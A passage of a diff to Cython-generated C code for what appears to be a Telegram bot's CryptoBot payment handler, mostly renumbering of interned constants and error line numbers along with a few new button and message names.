Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); Py_CLEAR(clear_module_state->__pyx_kp_u__10); Py_CLEAR(clear_module_state->__pyx_kp_u__11); - Py_CLEAR(clear_module_state->__pyx_n_u__12); Py_CLEAR(clear_module_state->__pyx_kp_u__13); Py_CLEAR(clear_module_state->__pyx_kp_u__14); Py_CLEAR(clear_module_state->__pyx_kp_u__15); - Py_CLEAR(clear_module_state->__pyx_kp_u__16); - Py_CLEAR(clear_module_state->__pyx_kp_u__17); Py_CLEAR(clear_module_state->__pyx_kp_u__19); Py_CLEAR(clear_module_state->__pyx_kp_u__2); - Py_CLEAR(clear_module_state->__pyx_kp_u__20); - Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); Py_CLEAR(clear_module_state->__pyx_kp_u__27); - Py_CLEAR(clear_module_state->__pyx_kp_u__28); - Py_CLEAR(clear_module_state->__pyx_kp_u__3); - Py_CLEAR(clear_module_state->__pyx_kp_u__31); - Py_CLEAR(clear_module_state->__pyx_kp_u__32); - Py_CLEAR(clear_module_state->__pyx_kp_u__33); - Py_CLEAR(clear_module_state->__pyx_kp_u__34); - Py_CLEAR(clear_module_state->__pyx_kp_u__35); - Py_CLEAR(clear_module_state->__pyx_n_s__44); - Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_n_s__36); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); Py_CLEAR(clear_module_state->__pyx_kp_u__7); Py_CLEAR(clear_module_state->__pyx_kp_u__8); Py_CLEAR(clear_module_state->__pyx_kp_u__9); @@ -3268,9 +3262,11 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); Py_CLEAR(clear_module_state->__pyx_n_s_fiat); Py_CLEAR(clear_module_state->__pyx_n_u_fiat); + Py_CLEAR(clear_module_state->__pyx_n_s_format); Py_CLEAR(clear_module_state->__pyx_kp_u_gc); Py_CLEAR(clear_module_state->__pyx_n_s_get); Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_cryprobot_pay); Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_cryprobot_pay_2); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); @@ -3358,23 +3354,22 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_int_400); Py_CLEAR(clear_module_state->__pyx_int_500); Py_CLEAR(clear_module_state->__pyx_codeobj_); - Py_CLEAR(clear_module_state->__pyx_tuple__6); - Py_CLEAR(clear_module_state->__pyx_tuple__23); + Py_CLEAR(clear_module_state->__pyx_tuple__5); + Py_CLEAR(clear_module_state->__pyx_tuple__17); + Py_CLEAR(clear_module_state->__pyx_tuple__28); Py_CLEAR(clear_module_state->__pyx_tuple__29); - Py_CLEAR(clear_module_state->__pyx_tuple__36); - Py_CLEAR(clear_module_state->__pyx_tuple__37); - Py_CLEAR(clear_module_state->__pyx_tuple__38); - Py_CLEAR(clear_module_state->__pyx_tuple__39); - Py_CLEAR(clear_module_state->__pyx_tuple__40); - Py_CLEAR(clear_module_state->__pyx_tuple__41); - Py_CLEAR(clear_module_state->__pyx_tuple__42); - Py_CLEAR(clear_module_state->__pyx_tuple__43); - Py_CLEAR(clear_module_state->__pyx_codeobj__4); + Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__33); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_codeobj__3); + Py_CLEAR(clear_module_state->__pyx_codeobj__12); + Py_CLEAR(clear_module_state->__pyx_codeobj__16); Py_CLEAR(clear_module_state->__pyx_codeobj__18); - Py_CLEAR(clear_module_state->__pyx_codeobj__22); - Py_CLEAR(clear_module_state->__pyx_codeobj__24); - Py_CLEAR(clear_module_state->__pyx_codeobj__26); - Py_CLEAR(clear_module_state->__pyx_codeobj__30); + Py_CLEAR(clear_module_state->__pyx_codeobj__20); + Py_CLEAR(clear_module_state->__pyx_codeobj__21); return 0; } #endif @@ -3413,10 +3408,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_AMOUNT_TEXT); Py_VISIT(traverse_module_state->__pyx_n_s_AioCryptoPay); Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_BACK); Py_VISIT(traverse_module_state->__pyx_n_u_CRYPTOSALE); Py_VISIT(traverse_module_state->__pyx_n_s_CRYPTO_BOT_ENABLE); Py_VISIT(traverse_module_state->__pyx_n_s_CRYPTO_BOT_TOKEN); Py_VISIT(traverse_module_state->__pyx_kp_u_Crypto_Pay_Api_Signature); + Py_VISIT(traverse_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + Py_VISIT(traverse_module_state->__pyx_n_s_ENTER_SUM); Py_VISIT(traverse_module_state->__pyx_n_s_F); Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); @@ -3424,6 +3422,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_NET); Py_VISIT(traverse_module_state->__pyx_n_s_Networks); Py_VISIT(traverse_module_state->__pyx_kp_u_No_value); + Py_VISIT(traverse_module_state->__pyx_n_s_PAY); Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_VISIT(traverse_module_state->__pyx_n_s_PROJECTMANECONGIGURE); Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); @@ -3437,27 +3436,20 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); Py_VISIT(traverse_module_state->__pyx_kp_u__10); Py_VISIT(traverse_module_state->__pyx_kp_u__11); - Py_VISIT(traverse_module_state->__pyx_n_u__12); Py_VISIT(traverse_module_state->__pyx_kp_u__13); Py_VISIT(traverse_module_state->__pyx_kp_u__14); Py_VISIT(traverse_module_state->__pyx_kp_u__15); - Py_VISIT(traverse_module_state->__pyx_kp_u__16); - Py_VISIT(traverse_module_state->__pyx_kp_u__17); Py_VISIT(traverse_module_state->__pyx_kp_u__19); Py_VISIT(traverse_module_state->__pyx_kp_u__2); - Py_VISIT(traverse_module_state->__pyx_kp_u__20); - Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); Py_VISIT(traverse_module_state->__pyx_kp_u__27); - Py_VISIT(traverse_module_state->__pyx_kp_u__28); - Py_VISIT(traverse_module_state->__pyx_kp_u__3); - Py_VISIT(traverse_module_state->__pyx_kp_u__31); - Py_VISIT(traverse_module_state->__pyx_kp_u__32); - Py_VISIT(traverse_module_state->__pyx_kp_u__33); - Py_VISIT(traverse_module_state->__pyx_kp_u__34); - Py_VISIT(traverse_module_state->__pyx_kp_u__35); - Py_VISIT(traverse_module_state->__pyx_n_s__44); - Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_n_s__36); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); Py_VISIT(traverse_module_state->__pyx_kp_u__7); Py_VISIT(traverse_module_state->__pyx_kp_u__8); Py_VISIT(traverse_module_state->__pyx_kp_u__9); @@ -3521,9 +3513,11 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); Py_VISIT(traverse_module_state->__pyx_n_s_fiat); Py_VISIT(traverse_module_state->__pyx_n_u_fiat); + Py_VISIT(traverse_module_state->__pyx_n_s_format); Py_VISIT(traverse_module_state->__pyx_kp_u_gc); Py_VISIT(traverse_module_state->__pyx_n_s_get); Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_cryprobot_pay); Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_cryprobot_pay_2); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); @@ -3611,23 +3605,22 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_int_400); Py_VISIT(traverse_module_state->__pyx_int_500); Py_VISIT(traverse_module_state->__pyx_codeobj_); - Py_VISIT(traverse_module_state->__pyx_tuple__6); - Py_VISIT(traverse_module_state->__pyx_tuple__23); + Py_VISIT(traverse_module_state->__pyx_tuple__5); + Py_VISIT(traverse_module_state->__pyx_tuple__17); + Py_VISIT(traverse_module_state->__pyx_tuple__28); Py_VISIT(traverse_module_state->__pyx_tuple__29); - Py_VISIT(traverse_module_state->__pyx_tuple__36); - Py_VISIT(traverse_module_state->__pyx_tuple__37); - Py_VISIT(traverse_module_state->__pyx_tuple__38); - Py_VISIT(traverse_module_state->__pyx_tuple__39); - Py_VISIT(traverse_module_state->__pyx_tuple__40); - Py_VISIT(traverse_module_state->__pyx_tuple__41); - Py_VISIT(traverse_module_state->__pyx_tuple__42); - Py_VISIT(traverse_module_state->__pyx_tuple__43); - Py_VISIT(traverse_module_state->__pyx_codeobj__4); + Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__33); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_codeobj__3); + Py_VISIT(traverse_module_state->__pyx_codeobj__12); + Py_VISIT(traverse_module_state->__pyx_codeobj__16); Py_VISIT(traverse_module_state->__pyx_codeobj__18); - Py_VISIT(traverse_module_state->__pyx_codeobj__22); - Py_VISIT(traverse_module_state->__pyx_codeobj__24); - Py_VISIT(traverse_module_state->__pyx_codeobj__26); - Py_VISIT(traverse_module_state->__pyx_codeobj__30); + Py_VISIT(traverse_module_state->__pyx_codeobj__20); + Py_VISIT(traverse_module_state->__pyx_codeobj__21); return 0; } #endif @@ -3676,10 +3669,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_AMOUNT_TEXT __pyx_mstate_global->__pyx_n_s_AMOUNT_TEXT #define __pyx_n_s_AioCryptoPay __pyx_mstate_global->__pyx_n_s_AioCryptoPay #define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_BACK __pyx_mstate_global->__pyx_n_s_BACK #define __pyx_n_u_CRYPTOSALE __pyx_mstate_global->__pyx_n_u_CRYPTOSALE #define __pyx_n_s_CRYPTO_BOT_ENABLE __pyx_mstate_global->__pyx_n_s_CRYPTO_BOT_ENABLE #define __pyx_n_s_CRYPTO_BOT_TOKEN __pyx_mstate_global->__pyx_n_s_CRYPTO_BOT_TOKEN #define __pyx_kp_u_Crypto_Pay_Api_Signature __pyx_mstate_global->__pyx_kp_u_Crypto_Pay_Api_Signature +#define __pyx_n_s_DEFAULT_PAYMENT_MESSAGE __pyx_mstate_global->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE +#define __pyx_n_s_ENTER_SUM __pyx_mstate_global->__pyx_n_s_ENTER_SUM #define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F #define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext #define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder @@ -3687,6 +3683,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_MAIN_NET __pyx_mstate_global->__pyx_n_s_MAIN_NET #define __pyx_n_s_Networks __pyx_mstate_global->__pyx_n_s_Networks #define __pyx_kp_u_No_value __pyx_mstate_global->__pyx_kp_u_No_value +#define __pyx_n_s_PAY __pyx_mstate_global->__pyx_n_s_PAY #define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS #define __pyx_n_s_PROJECTMANECONGIGURE __pyx_mstate_global->__pyx_n_s_PROJECTMANECONGIGURE #define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id @@ -3700,27 +3697,20 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError #define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 #define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 -#define __pyx_n_u__12 __pyx_mstate_global->__pyx_n_u__12 #define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 #define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 #define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 -#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 -#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 #define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 #define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 -#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 -#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 #define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 #define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 -#define __pyx_kp_u__28 __pyx_mstate_global->__pyx_kp_u__28 -#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 -#define __pyx_kp_u__31 __pyx_mstate_global->__pyx_kp_u__31 -#define __pyx_kp_u__32 __pyx_mstate_global->__pyx_kp_u__32 -#define __pyx_kp_u__33 __pyx_mstate_global->__pyx_kp_u__33 -#define __pyx_kp_u__34 __pyx_mstate_global->__pyx_kp_u__34 -#define __pyx_kp_u__35 __pyx_mstate_global->__pyx_kp_u__35 -#define __pyx_n_s__44 __pyx_mstate_global->__pyx_n_s__44 -#define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_n_s__36 __pyx_mstate_global->__pyx_n_s__36 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 #define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 #define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 #define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 @@ -3784,9 +3774,11 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash #define __pyx_n_s_fiat __pyx_mstate_global->__pyx_n_s_fiat #define __pyx_n_u_fiat __pyx_mstate_global->__pyx_n_u_fiat +#define __pyx_n_s_format __pyx_mstate_global->__pyx_n_s_format #define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc #define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get #define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_buttons __pyx_mstate_global->__pyx_n_s_handlers_buttons #define __pyx_n_s_handlers_payments_cryprobot_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_cryprobot_pay #define __pyx_kp_s_handlers_payments_cryprobot_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_cryprobot_pay_2 #define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift @@ -3874,23 +3866,22 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 #define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 #define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ -#define __pyx_tuple__6 __pyx_mstate_global->__pyx_tuple__6 -#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 +#define __pyx_tuple__5 __pyx_mstate_global->__pyx_tuple__5 +#define __pyx_tuple__17 __pyx_mstate_global->__pyx_tuple__17 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 #define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 -#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 -#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 -#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 -#define __pyx_tuple__39 __pyx_mstate_global->__pyx_tuple__39 -#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 -#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 -#define __pyx_tuple__42 __pyx_mstate_global->__pyx_tuple__42 -#define __pyx_tuple__43 __pyx_mstate_global->__pyx_tuple__43 -#define __pyx_codeobj__4 __pyx_mstate_global->__pyx_codeobj__4 +#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_codeobj__3 __pyx_mstate_global->__pyx_codeobj__3 +#define __pyx_codeobj__12 __pyx_mstate_global->__pyx_codeobj__12 +#define __pyx_codeobj__16 __pyx_mstate_global->__pyx_codeobj__16 #define __pyx_codeobj__18 __pyx_mstate_global->__pyx_codeobj__18 -#define __pyx_codeobj__22 __pyx_mstate_global->__pyx_codeobj__22 -#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 -#define __pyx_codeobj__26 __pyx_mstate_global->__pyx_codeobj__26 -#define __pyx_codeobj__30 __pyx_mstate_global->__pyx_codeobj__30 +#define __pyx_codeobj__20 __pyx_mstate_global->__pyx_codeobj__20 +#define __pyx_codeobj__21 __pyx_mstate_global->__pyx_codeobj__21 /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ @@ -3954,7 +3945,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 41, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -3962,9 +3953,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 41, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 1); __PYX_ERR(0, 40, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 1); __PYX_ERR(0, 41, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -3972,14 +3963,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 41, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 2); __PYX_ERR(0, 40, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 2); __PYX_ERR(0, 41, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_cryptobot") < 0)) __PYX_ERR(0, 40, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_cryptobot") < 0)) __PYX_ERR(0, 41, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -3994,7 +3985,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 40, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 41, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4033,7 +4024,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_p if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 40, __pyx_L1_error) + __PYX_ERR(0, 41, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4047,7 +4038,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_p __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4100,21 +4091,21 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 40, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_INCREF(__pyx_n_u_CRYPTOSALE); __Pyx_GIVEREF(__pyx_n_u_CRYPTOSALE); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_CRYPTOSALE; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 45, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -4135,19 +4126,19 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__2}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = NULL; __pyx_t_5 = 0; @@ -4167,20 +4158,23 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 50, __pyx_L1_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) 